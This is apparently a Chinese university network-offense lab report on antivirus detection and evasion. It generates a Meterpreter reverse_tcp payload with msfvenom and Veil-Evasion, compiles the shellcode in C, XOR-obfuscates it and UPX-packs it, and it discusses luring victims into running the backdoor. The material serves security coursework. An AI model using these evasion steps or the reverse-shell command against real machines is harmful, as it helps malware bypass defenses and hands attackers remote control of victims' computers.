Exp3 免杀原理与实践 20154320 李超
基础知识
- 如何检测出恶意代码
- 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
- 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
- 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
- 什么是免杀及如何进行免杀
- 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
- 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
- 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
- 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
实验过程
Msfvenom使用编码器
检测上节课利用Msfvenom生成的后门软件,事实证明Metaspliot作为做热门的平台之一,各AV厂商都有所防范。
多编码几次也没有明显效果。
事实上杀毒软件厂商在对特征码进行扫描的同时,也会对编码器所用的解码代码进行检索,像我们之前常用的比较有名的编码器早已经被杀软厂商们加入了黑名单,所以使用该编码器即使编码次数再多也不会起到实质性效果。
采用免杀平台Veil-Evasion生成后门软件
这次使用免杀功能更强一点的一款平台Veil-Evasion
按照其提示,输入list查看payload,选择能实现反弹端口连接的payload(一般看名字就能看出来,
rev_tcp
,rev_http
结尾的一般都是)这次我们随便选择其中满足我们要求的payload,键入use + name of payload
(截图的时候我选择的是ruby/meterpreter/rev_tcp
但是生成的时候一直弹出payload有问题,所以实际上使用的是python/meterpreter/rev_tcp
)将.exe文件拷贝出来到靶机上,结果被查杀
在网站上进行检测
- veil-evasion平台如此强大?
C语言调用Shellcode
- 用指令会生成一个c语言格式的Shellcode数组。指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c
用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件。
- 顺利回连
用VirSCAN.org进行检测
修改shellcode
- 用指令生成的shellcode数组,仍是会被发现,所以我们可以对这个数组做一些变化,比如对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010
将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了
- kali成功获取权限
UPX加壳
用下面的命令来加压缩壳
# upx 4320-1.exe -o 4320m.exe
·
效果并不是很好
离实战还缺些什么技术或步骤
- 最关键的部分实在传播环节,实验中实在关闭防火墙的情况下将后门程序传至靶机中,现实中一般普通的个人计算机都会打开防火墙,更不用说涉密计算机,也正因如此,确认下载网站的安全性是相当重要的,如果主动选择了忽略就等于让对方轻而易举地突破了这一关键环节。
- 其次,在实验中都是靶机主动完成回连,通过一定的伪装和诱导让被攻击者打开后门程序才是更高级和更现实的方法。
Exp3 免杀原理与实践 20154320 李超的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- step_by_step_ABP规约模式
一段时间没有在github 上浏览ABP项目,几天前看到ABP新增规约模式,开始了解并学习文档 记录一下 Introduction 介绍 Specification pattern is a pa ...
- select简单循环嵌套
访问学生的物理最高成绩,并且打印出来,单个要打印出所有的信息 在添加几个 and 就可以啦. select student.gender,student.sname from student whe ...
- String主要方法
No 方法名称 类型 描述 1 (字符数组)public String(char[] value) 构造 将字符数组变为字符串(Sring类对象) 2 public String(char[] val ...
- 20175314薛勐 MyOD(课下作业,选做)
MyOD(课下作业,选做) 要求 编写MyOD.java 用java MyOD XXX实现Linux下od -tx -tc XXX的功能 思路 伪代码: 读取命令行输入的参数(文件名) 以16为每个字 ...
- shell脚本简介
什么是shell? shell是一个命令解释器,它在操作系统的最外层,负责直接与用户对话,把用户的输入解释给操作系统,并处理各种各样的操作系统的输出结果,输出到屏幕返回给用户.这种对话方式可以是交互的 ...
- vue打开新页面
let tempPage = window.open('_blank');//先打开一个空白页 this.$axios.post("/aliPay/aliTradePagePay" ...
- django后台对某些字段设置颜色
在model.py的class函数中添加如下代码 #对签收状态设置颜色 def color_state(self): ': assign_state_name = '待签收' color_code = ...
- python_字符编码
一 了解字符编码的知识储备 1.计算机基础知识 2.电脑存放组成: 硬盘 - 内存 -(二级缓存.一级缓存.cpu寄存器)- cpu # cpu交互的是用户能识别的数据:字符# 硬盘中最终存储的数据: ...
- C# 线程获取/设置控件(TextBox)值
线程读写控件需要用委托(delegate)与Invoke/BeginInvoke来进行 参考内容:http://www.cnblogs.com/runner/archive/2011/12/30/23 ...
- 2018年 js 简易控制滚动条滚动的简单方法
首先是es2015 的新api Element.scrollIntoView() // 滚动到最上方 等同于 dom.scrollIntoView(true) Element.scrollIntoVi ...